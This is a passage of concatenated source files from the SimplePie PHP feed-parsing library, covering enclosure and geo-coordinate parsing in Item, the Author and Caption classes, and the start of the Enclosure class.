                        $length = intval($link['attribs']['']['length']);
                    }
                    if (isset($link['attribs']['']['title'])) {
                        $title = $this->sanitize($link['attribs']['']['title'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    } else {
                        $title = $title_parent;
                    }

                    // Since we don't have group or content for these, we'll just pass the '*_parent' variables directly to the constructor
                    $this->data['enclosures'][] = $this->registry->create(Enclosure::class, [$url, $type, $length, null, $bitrate, $captions_parent, $categories_parent, $channels, $copyrights_parent, $credits_parent, $description_parent, $duration_parent, $expression, $framerate, $hashes_parent, $height, $keywords_parent, $lang, $medium, $player_parent, $ratings_parent, $restrictions_parent, $samplingrate, $thumbnails_parent, $title, $width]);
                }
            }

            foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'link') as $link) {
                if (isset($link['attribs']['']['href']) && !empty($link['attribs']['']['rel']) && $link['attribs']['']['rel'] === 'enclosure') {
                    // Attributes
                    $bitrate = null;
                    $channels = null;
                    $duration = null;
                    $expression = null;
                    $framerate = null;
                    $height = null;
                    $javascript = null;
                    $lang = null;
                    $length = null;
                    $medium = null;
                    $samplingrate = null;
                    $type = null;
                    $url = null;
                    $width = null;

                    $url = $this->sanitize($link['attribs']['']['href'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($link));
                    if (isset($link['attribs']['']['type'])) {
                        $type = $this->sanitize($link['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($link['attribs']['']['length'])) {
                        $length = intval($link['attribs']['']['length']);
                    }

                    // Since we don't have group or content for these, we'll just pass the '*_parent' variables directly to the constructor
                    $this->data['enclosures'][] = $this->registry->create(Enclosure::class, [$url, $type, $length, null, $bitrate, $captions_parent, $categories_parent, $channels, $copyrights_parent, $credits_parent, $description_parent, $duration_parent, $expression, $framerate, $hashes_parent, $height, $keywords_parent, $lang, $medium, $player_parent, $ratings_parent, $restrictions_parent, $samplingrate, $thumbnails_parent, $title_parent, $width]);
                }
            }

            foreach ($this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'enclosure') ?? [] as $enclosure) {
                if (isset($enclosure['attribs']['']['url'])) {
                    // Attributes
                    $bitrate = null;
                    $channels = null;
                    $duration = null;
                    $expression = null;
                    $framerate = null;
                    $height = null;
                    $javascript = null;
                    $lang = null;
                    $length = null;
                    $medium = null;
                    $samplingrate = null;
                    $type = null;
                    $url = null;
                    $width = null;

                    $url = $this->sanitize($enclosure['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($enclosure));
                    $url = $this->feed->sanitize->https_url($url);
                    if (isset($enclosure['attribs']['']['type'])) {
                        $type = $this->sanitize($enclosure['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($enclosure['attribs']['']['length'])) {
                        $length = intval($enclosure['attribs']['']['length']);
                    }

                    // Since we don't have group or content for these, we'll just pass the '*_parent' variables directly to the constructor
                    $this->data['enclosures'][] = $this->registry->create(Enclosure::class, [$url, $type, $length, null, $bitrate, $captions_parent, $categories_parent, $channels, $copyrights_parent, $credits_parent, $description_parent, $duration_parent, $expression, $framerate, $hashes_parent, $height, $keywords_parent, $lang, $medium, $player_parent, $ratings_parent, $restrictions_parent, $samplingrate, $thumbnails_parent, $title_parent, $width]);
                }
            }

            if (sizeof($this->data['enclosures']) === 0 && ($url || $type || $length || $bitrate || $captions_parent || $categories_parent || $channels || $copyrights_parent || $credits_parent || $description_parent || $duration_parent || $expression || $framerate || $hashes_parent || $height || $keywords_parent || $lang || $medium || $player_parent || $ratings_parent || $restrictions_parent || $samplingrate || $thumbnails_parent || $title_parent || $width)) {
                // Since we don't have group or content for these, we'll just pass the '*_parent' variables directly to the constructor
                $this->data['enclosures'][] = $this->registry->create(Enclosure::class, [$url, $type, $length, null, $bitrate, $captions_parent, $categories_parent, $channels, $copyrights_parent, $credits_parent, $description_parent, $duration_parent, $expression, $framerate, $hashes_parent, $height, $keywords_parent, $lang, $medium, $player_parent, $ratings_parent, $restrictions_parent, $samplingrate, $thumbnails_parent, $title_parent, $width]);
            }

            $this->data['enclosures'] = array_values(array_unique($this->data['enclosures']));
        }
        if (!empty($this->data['enclosures'])) {
            return $this->data['enclosures'];
        }

        return null;
    }

    /**
     * Get the latitude coordinates for the item
     *
     * Compatible with the W3C WGS84 Basic Geo and GeoRSS specifications
     *
     * Uses `<geo:lat>` or `<georss:point>`
     *
     * @since 1.0
     * @link http://www.w3.org/2003/01/geo/ W3C WGS84 Basic Geo
     * @link http://www.georss.org/ GeoRSS
     * @return string|null
     */
    public function get_latitude()
    {
        if ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_W3C_BASIC_GEO, 'lat')) {
            return (float) $return[0]['data'];
        } elseif (($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match)) {
            return (float) $match[1];
        }

        return null;
    }

    /**
     * Get the longitude coordinates for the item
     *
     * Compatible with the W3C WGS84 Basic Geo and GeoRSS specifications
     *
     * Uses `<geo:long>`, `<geo:lon>` or `<georss:point>`
     *
     * @since 1.0
     * @link http://www.w3.org/2003/01/geo/ W3C WGS84 Basic Geo
     * @link http://www.georss.org/ GeoRSS
     * @return string|null
     */
    public function get_longitude()
    {
        if ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_W3C_BASIC_GEO, 'long')) {
            return (float) $return[0]['data'];
        } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_W3C_BASIC_GEO, 'lon')) {
            return (float) $return[0]['data'];
        } elseif (($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match)) {
            return (float) $match[2];
        }

        return null;
    }

    /**
     * Get the `<atom:source>` for the item
     *
     * @since 1.1
     * @return \SimplePie\Source|null
     */
    public function get_source()
    {
        if ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'source')) {
            return $this->registry->create(Source::class, [$this, $return[0]]);
        }

        return null;
    }
}

class_alias('SimplePie\Item', 'SimplePie_Item');
src/Author.php000064400000007441151024210710007305 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie;

/**
 * Manages all author-related data
 *
 * Used by {@see Item::get_author()} and {@see SimplePie::get_authors()}
 *
 * This class can be overloaded with {@see SimplePie::set_author_class()}
 *
 * @package SimplePie
 * @subpackage API
 */
class Author
{
    /**
     * Author's name
     *
     * @var string
     * @see get_name()
     */
    public $name;

    /**
     * Author's link
     *
     * @var string
     * @see get_link()
     */
    public $link;

    /**
     * Author's email address
     *
     * @var string
     * @see get_email()
     */
    public $email;

    /**
     * Constructor, used to input the data
     *
     * @param string $name
     * @param string $link
     * @param string $email
     */
    public function __construct($name = null, $link = null, $email = null)
    {
        $this->name = $name;
        $this->link = $link;
        $this->email = $email;
    }

    /**
     * String-ified version
     *
     * @return string
     */
    public function __toString()
    {
        // There is no $this->data here
        return md5(serialize($this));
    }

    /**
     * Author's name
     *
     * @return string|null
     */
    public function get_name()
    {
        if ($this->name !== null) {
            return $this->name;
        }

        return null;
    }

    /**
     * Author's link
     *
     * @return string|null
     */
    public function get_link()
    {
        if ($this->link !== null) {
            return $this->link;
        }

        return null;
    }

    /**
     * Author's email address
     *
     * @return string|null
     */
    public function get_email()
    {
        if ($this->email !== null) {
            return $this->email;
        }

        return null;
    }
}

class_alias('SimplePie\Author', 'SimplePie_Author');
src/Caption.php000064400000011517151024210710007437 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie;

/**
 * Handles `<media:text>` captions as defined in Media RSS.
 *
 * Used by {@see \SimplePie\Enclosure::get_caption()} and {@see \SimplePie\Enclosure::get_captions()}
 *
 * This class can be overloaded with {@see \SimplePie\SimplePie::set_caption_class()}
 *
 * @package SimplePie
 * @subpackage API
 */
class Caption
{
    /**
     * Content type
     *
     * @var string
     * @see get_type()
     */
    public $type;

    /**
     * Language
     *
     * @var string
     * @see get_language()
     */
    public $lang;

    /**
     * Start time
     *
     * @var string
     * @see get_starttime()
     */
    public $startTime;

    /**
     * End time
     *
     * @var string
     * @see get_endtime()
     */
    public $endTime;

    /**
     * Caption text
     *
     * @var string
     * @see get_text()
     */
    public $text;

    /**
     * Constructor, used to input the data
     *
     * For documentation on all the parameters, see the corresponding
     * properties and their accessors
     */
    public function __construct($type = null, $lang = null, $startTime = null, $endTime = null, $text = null)
    {
        $this->type = $type;
        $this->lang = $lang;
        $this->startTime = $startTime;
        $this->endTime = $endTime;
        $this->text = $text;
    }

    /**
     * String-ified version
     *
     * @return string
     */
    public function __toString()
    {
        // There is no $this->data here
        return md5(serialize($this));
    }

    /**
     * Get the end time
     *
     * @return string|null Time in the format 'hh:mm:ss.SSS'
     */
    public function get_endtime()
    {
        if ($this->endTime !== null) {
            return $this->endTime;
        }

        return null;
    }

    /**
     * Get the language
     *
     * @link http://tools.ietf.org/html/rfc3066
     * @return string|null Language code as per RFC 3066
     */
    public function get_language()
    {
        if ($this->lang !== null) {
            return $this->lang;
        }

        return null;
    }

    /**
     * Get the start time
     *
     * @return string|null Time in the format 'hh:mm:ss.SSS'
     */
    public function get_starttime()
    {
        if ($this->startTime !== null) {
            return $this->startTime;
        }

        return null;
    }

    /**
     * Get the text of the caption
     *
     * @return string|null
     */
    public function get_text()
    {
        if ($this->text !== null) {
            return $this->text;
        }

        return null;
    }

    /**
     * Get the content type (not MIME type)
     *
     * @return string|null Either 'text' or 'html'
     */
    public function get_type()
    {
        if ($this->type !== null) {
            return $this->type;
        }

        return null;
    }
}

class_alias('SimplePie\Caption', 'SimplePie_Caption');
src/Enclosure.php000064400000100400151024210710007767 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie;

/**
 * Handles everything related to enclosures (including Media RSS and iTunes RSS)
 *
 * Used by {@see \SimplePie\Item::get_enclosure()} and {@see \SimplePie\Item::get_enclosures()}
 *
 * This class can be overloaded with {@see \SimplePie\SimplePie::set_enclosure_class()}
 *
 * @package SimplePie
 * @subpackage API
 */
class Enclosure
{
    /**
     * @var string
     * @see get_bitrate()
     */
    public $bitrate;

    /**
     * @var array
     * @see get_captions()
     */
    public $captions;

    /**
     * @var array
     * @see get_categories()
     */
    public $categories;

    /**
     * @var int
     * @see get_channels()
     */
    public $channels;

    /**
     * @var \SimplePie\Copyright
     * @see get_copyright()
     */
    public $copyright;

    /**
     * @var array
     * @see get_credits()
     */
    public $credits;

    /**
     * @var string
     * @see get_description()
     */
    public $description;

    /**
     * @var int
     * @see get_duration()
     */
    public $duration;

    /**
     * @var string
     * @see get_expression()
     */
    public $expression;

    /**
     * @var string
     * @see get_framerate()
     */
    public $framerate;

    /**
     * @var string
     * @see get_handler()
     */
    public $handler;

    /**
     * @var array
     * @see get_hashes()
     */
    public $hashes;

    /**
     * @var string
     * @see get_height()
     */
    public $height;

    /**
     * @deprecated
     * @var null
     */
    public $javascript;

    /**
     * @var array
     * @see get_keywords()
     */
    public $keywords;

    /**
     * @var string
     * @see get_language()
     */
    public $lang;

    /**
     * @var string
     * @see get_length()
     */
    public $length;

    /**
     * @var string
     * @see get_link()
     */
    public $link;

    /**
     * @var string
     * @see get_medium()
     */
    public $medium;

    /**
     * @var string
     * @see get_player()
     */
    public $player;

    /**
     * @var array
     * @see get_ratings()
     */
    public $ratings;

    /**
     * @var array
     * @see get_restrictions()
     */
    public $restrictions;

    /**
     * @var string
     * @see get_sampling_rate()
     */
    public $samplingrate;

    /**
     * @var array
     * @see get_thumbnails()
     */
    public $thumbnails;

    /**
     * @var string
     * @see get_title()
     */
    public $title;

    /**
     * @var string
     * @see get_type()
     */
    public $type;

    /**
     * @var string
     * @see get_width()
     */
    public $width;

    /**
     * Constructor, used to input the data
     *
     * For documentation on all the parameters, see the corresponding
     * properties and their accessors
     *
     * @uses idna_convert If available, this will convert an IDN
     */
    public function __construct($link = null, $type = null, $length = null, $javascript = null, $bitrate = null, $captions = null, $categories = null, $channels = null, $copyright = null, $credits = null, $description = null, $duration = null, $expression = null, $framerate = null, $hashes = null, $height = null, $keywords = null, $lang = null, $medium = null, $player = null, $ratings = null, $restrictions = null, $samplingrate = null, $thumbnails = null, $title = null, $width = null)
    {
        $this->bitrate = $bitrate;
        $this->captions = $captions;
        $this->categories = $categories;
        $this->channels = $channels;
        $this->copyright = $copyright;
        $this->credits = $credits;
        $this->description = $description;
        $this->duration = $duration;
        $this->expression = $expression;
        $this->framerate = $framerate;
        $this->hashes = $hashes;
        $this->height = $height;
        $this->keywords = $keywords;
        $this->lang = $lang;
        $this->length = $length;
        $this->link = $link;
        $this->medium = $medium;
        $this->player = $player;
        $this->ratings = $ratings;
        $this->restrictions = $restrictions;
        $this->samplingrate = $samplingrate;
        $this->thumbnails = $thumbnails;
        $this->title = $title;
        $this->type = $type;
        $this->width = $width;

        if (class_exists('idna_convert')) {
            $idn = new \idna_convert();
            $parsed = \SimplePie\Misc::parse_url($link);
            $this->link = \SimplePie\Misc::compress_parse_url($parsed['scheme'], $idn->encode($parsed['authority']), $parsed['path'], $parsed['query'], $parsed['fragment']);
        }
        $this->handler = $this->get_handler(); // Needs to load last
    }

    /**
     * String-ified version
     *
     * @return string
     */
    public function __toString()
    {
        // There is no $this->data here
        return md5(serialize($this));
    }

    /**
     * Get the bitrate
     *
     * @return string|null
     */
    public function get_bitrate()
    {
        if ($this->bitrate !== null) {
            return $this->bitrate;
        }

        return null;
    }

    /**
     * Get a single caption
     *
     * @param int $key
     * @return \SimplePie\Caption|null
     */
    public function get_caption($key = 0)
    {
        $captions = $this->get_captions();
        if (isset($captions[$key])) {
            return $captions[$key];
        }

        return null;
    }

    /**
     * Get all captions
     *
     * @return array|null Array of {@see \SimplePie\Caption} objects
     */
    public function get_captions()
    {
        if ($this->captions !== null) {
            return $this->captions;
        }

        return null;
    }

    /**
     * Get a single category
     *
     * @param int $key
     * @return \SimplePie\Category|null
     */
    public function get_category($key = 0)
    {
        $categories = $this->get_categories();
        if (isset($categories[$key])) {
            return $categories[$key];
        }

        return null;
    }

    /**
     * Get all categories
     *
     * @return array|null Array of {@see \SimplePie\Category} objects
     */
    public function get_categories()
    {
        if ($this->categories !== null) {
            return $this->categories;
        }

        return null;
    }

    /**
     * Get the number of audio channels
     *
     * @return int|null
     */
    public function get_channels()
    {
        if ($this->channels !== null) {
            return $this->channels;
        }

        return null;
    }

    /**
     * Get the copyright information
     *
     * @return \SimplePie\Copyright|null
     */
    public function get_copyright()
    {
        if ($this->copyright !== null) {
            return $this->copyright;
        }

        return null;
    }

    /**
     * Get a single credit
     *
     * @param int $key
     * @return \SimplePie\Credit|null
     */
    public function get_credit($key = 0)
    {
        $credits = $this->get_credits();
        if (isset($credits[$key])) {
            return $credits[$key];
        }

        return null;
    }

    /**
     * Get all credits
     *
     * @return array|null Array of {@see \SimplePie\Credit} objects
     */
    public function get_credits()
    {
        if ($this->credits !== null) {
            return $this->credits;
        }

        return null;
    }

    /**
     * Get the description of the enclosure
     *
     * @return string|null
     */
    public function get_description()
    {
        if ($this->description !== null) {
            return $this->description;
        }

        return null;
    }

    /**
     * Get the duration of the enclosure
     *
     * @param bool $convert Convert seconds into hh:mm:ss
     * @return string|int|null 'hh:mm:ss' string if `$convert` was specified, otherwise integer (or null if none found)
     */
    public function get_duration($convert = false)
    {
        if ($this->duration !== null) {
            if ($convert) {
                $time = \SimplePie\Misc::time_hms($this->duration);
                return $time;
            }

            return $this->duration;
        }

        return null;
    }

    /**
     * Get the expression
     *
     * @return string Probably one of 'sample', 'full', 'nonstop', 'clip'. Defaults to 'full'
     */
    public function get_expression()
    {
        if ($this->expression !== null) {
            return $this->expression;
        }

        return 'full';
    }

    /**
     * Get the file extension
     *
     * @return string|null
     */
    public function get_extension()
    {
        if ($this->link !== null) {
            $url = \SimplePie\Misc::parse_url($this->link);
            if ($url['path'] !== '') {
                return pathinfo($url['path'], PATHINFO_EXTENSION);
            }
        }
        return null;
    }

    /**
     * Get the framerate (in frames-per-second)
     *
     * @return string|null
     */
    public function get_framerate()
    {
        if ($this->framerate !== null) {
            return $this->framerate;
        }

        return null;
    }

    /**
     * Get the preferred handler
     *
     * @return string|null One of 'flash', 'fmedia', 'quicktime', 'wmedia', 'mp3'
     */
    public function get_handler()
    {
        return $this->get_real_type(true);
    }

    /**
     * Get a single hash
     *
     * @link http://www.rssboard.org/media-rss#media-hash
     * @param int $key
     * @return string|null Hash as per `media:hash`, prefixed with "$algo:"
     */
    public function get_hash($key = 0)
    {
        $hashes = $this->get_hashes();
        if (isset($hashes[$key])) {
            return $hashes[$key];
        }

        return null;
    }

    /**
     * Get all credits
     *
     * @return array|null Array of strings, see {@see get_hash()}
     */
    public function get_hashes()
    {
        if ($this->hashes !== null) {
            return $this->hashes;
        }

        return null;
    }

    /**
     * Get the height
     *
     * @return string|null
     */
    public function get_height()
    {
        if ($this->height !== null) {
            return $this->height;
        }

        return null;
    }

    /**
     * Get the language
     *
     * @link http://tools.ietf.org/html/rfc3066
     * @return string|null Language code as per RFC 3066
     */
    public function get_language()
    {
        if ($this->lang !== null) {
            return $this->lang;
        }

        return null;
    }

    /**
     * Get a single keyword
     *
     * @param int $key
     * @return string|null
     */
    public function get_keyword($key = 0)
    {
        $keywords = $this->get_keywords();
        if (isset($keywords[$key])) {
            return $keywords[$key];
        }

        return null;
    }

    /**
     * Get all keywords
     *
     * @return array|null Array of strings
     */
    public function get_keywords()
    {
        if ($this->keywords !== null) {
            return $this->keywords;
        }

        return null;
    }

    /**
     * Get length
     *
     * @return float Length in bytes
     */
    public function get_length()
    {
        if ($this->length !== null) {
            return $this->length;
        }

        return null;
    }

    /**
     * Get the URL
     *
     * @return string|null
     */
    public function get_link()
    {
        if ($this->link !== null) {
            return $this->link;
        }

        return null;
    }

    /**
     * Get the medium
     *
     * @link http://www.rssboard.org/media-rss#media-content
     * @return string|null Should be one of 'image', 'audio', 'video', 'document', 'executable'
     */
    public function get_medium()
    {
        if ($this->medium !== null) {
            return $this->medium;
        }

        return null;
    }

    /**
     * Get the player URL
     *
     * Typically the same as {@see get_permalink()}
     * @return string|null Player URL
     */
    public function get_player()
    {
        if ($this->player !== null) {
            return $this->player;
        }

        return null;
    }

    /**
     * Get a single rating
     *
     * @param int $key
     * @return \SimplePie\Rating|null
     */
    public function get_rating($key = 0)
    {
        $ratings = $this->get_ratings();
        if (isset($ratings[$key])) {
            return $ratings[$key];
        }

        return null;
    }

    /**
     * Get all ratings
     *
     * @return array|null Array of {@see \SimplePie\Rating} objects
     */
    public function get_ratings()
    {
        if ($this->ratings !== null) {
            return $this->ratings;
        }

        return null;
    }

    /**
     * Get a single restriction
     *
     * @param int $key
     * @return \SimplePie\Restriction|null
     */
    public function get_restriction($key = 0)
    {
        $restrictions = $this->get_restrictions();
        if (isset($restrictions[$key])) {
            return $restrictions[$key];
        }

        return null;
    }

    /**
     * Get all restrictions
     *
     * @return array|null Array of {@see \SimplePie\Restriction} objects
     */
    public function get_restrictions()
    {
        if ($this->restrictions !== null) {
            return $this->restrictions;
        }

        return null;
    }

    /**
     * Get the sampling rate (in kHz)
     *
     * @return string|null
     */
    public function get_sampling_rate()
    {
        if ($this->samplingrate !== null) {
            return $this->samplingrate;
        }

        return null;
    }

    /**
     * Get the file size (in MiB)
     *
     * @return float|null File size in mebibytes (1048 bytes)
     */
    public function get_size()
    {
        $length = $this->get_length();
        if ($length !== null) {
            return round($length / 1048576, 2);
        }

        return null;
    }

    /**
     * Get a single thumbnail
     *
     * @param int $key
     * @return string|null Thumbnail URL
     */
    public function get_thumbnail($key = 0)
    {
        $thumbnails = $this->get_thumbnails();
        if (isset($thumbnails[$key])) {
            return $thumbnails[$key];
        }

        return null;
    }

    /**
     * Get all thumbnails
     *
     * @return array|null Array of thumbnail URLs
     */
    public function get_thumbnails()
    {
        if ($this->thumbnails !== null) {
            return $this->thumbnails;
        }

        return null;
    }

    /**
     * Get the title
     *
     * @return string|null
     */
    public function get_title()
    {
        if ($this->title !== null) {
            return $this->title;
        }

        return null;
    }

    /**
     * Get mimetype of the enclosure
     *
     * @see get_real_type()
     * @return string|null MIME type
     */
    public function get_type()
    {
        if ($this->type !== null) {
            return $this->type;
        }

        return null;
    }

    /**
     * Get the width
     *
     * @return string|null
     */
    public function get_width()
    {
        if ($this->width !== null) {
            return $this->width;
        }

        return null;
    }

    /**
     * Embed the enclosure using `<embed>`
     *
     * @deprecated Use the second parameter to {@see embed} instead
     *
     * @param array|string $options See first parameter to {@see embed}
     * @return string HTML string to output
     */
    public function native_embed($options = '')
    {
        return $this->embed($options, true);
    }

    /**
     * Embed the enclosure using Javascript
     *
     * `$options` is an array or comma-separated key:value string, with the
     * following properties:
     *
     * - `alt` (string): Alternate content for when an end-user does not have
     *    the appropriate handler installed or when a file type is
     *    unsupported. Can be any text or HTML. Defaults to blank.
     * - `altclass` (string): If a file type is unsupported, the end-user will
     *    see the alt text (above) linked directly to the content. That link
     *    will have this value as its class name. Defaults to blank.
     * - `audio` (string): This is an image that should be used as a
     *    placeholder for audio files before they're loaded (QuickTime-only).
     *    Can be any relative or absolute URL. Defaults to blank.
     * - `bgcolor` (string): The background color for the media, if not
     *    already transparent. Defaults to `#ffffff`.
     * - `height` (integer): The height of the embedded media. Accepts any
     *    numeric pixel value (such as `360`) or `auto`. Defaults to `auto`,
     *    and it is recommended that you use this default.
     * - `loop` (boolean): Do you want the media to loop when it's done?
     *    Defaults to `false`.
     * - `mediaplayer` (string): The location of the included
     *    `mediaplayer.swf` file. This allows for the playback of Flash Video
     *    (`.flv`) files, and is the default handler for non-Odeo MP3's.
     *    Defaults to blank.
     * - `video` (string): This is an image that should be used as a
     *    placeholder for video files before they're loaded (QuickTime-only).
     *    Can be any relative or absolute URL. Defaults to blank.
     * - `width` (integer): The width of the embedded media. Accepts any
     *    numeric pixel value (such as `480`) or `auto`. Defaults to `auto`,
     *    and it is recommended that you use this default.
     * - `widescreen` (boolean): Is the enclosure widescreen or standard?
     *    This applies only to video enclosures, and will automatically resize
     *    the content appropriately.  Defaults to `false`, implying 4:3 mode.
     *
     * Note: Non-widescreen (4:3) mode with `width` and `height` set to `auto`
     * will default to 480x360 video resolution.  Widescreen (16:9) mode with
     * `width` and `height` set to `auto` will default to 480x270 video resolution.
     *
     * @todo If the dimensions for media:content are defined, use them when width/height are set to 'auto'.
     * @param array|string $options Comma-separated key:value list, or array
     * @param bool $native Use `<embed>`
     * @return string HTML string to output
     */
    public function embed($options = '', $native = false)
    {
        // Set up defaults
        $audio = '';
        $video = '';
        $alt = '';
        $altclass = '';
        $loop = 'false';
        $width = 'auto';
        $height = 'auto';
        $bgcolor = '#ffffff';
        $mediaplayer = '';
        $widescreen = false;
        $handler = $this->get_handler();
        $type = $this->get_real_type();
        $placeholder = '';

        // Process options and reassign values as necessary
        if (is_array($options)) {
            extract($options);
        } else {
            $options = explode(',', $options);
            foreach ($options as $option) {
                $opt = explode(':', $option, 2);
                if (isset($opt[0], $opt[1])) {
                    $opt[0] = trim($opt[0]);
                    $opt[1] = trim($opt[1]);
                    switch ($opt[0]) {
                        case 'audio':
                            $audio = $opt[1];
                            break;

                        case 'video':
                            $video = $opt[1];
                            break;

                        case 'alt':
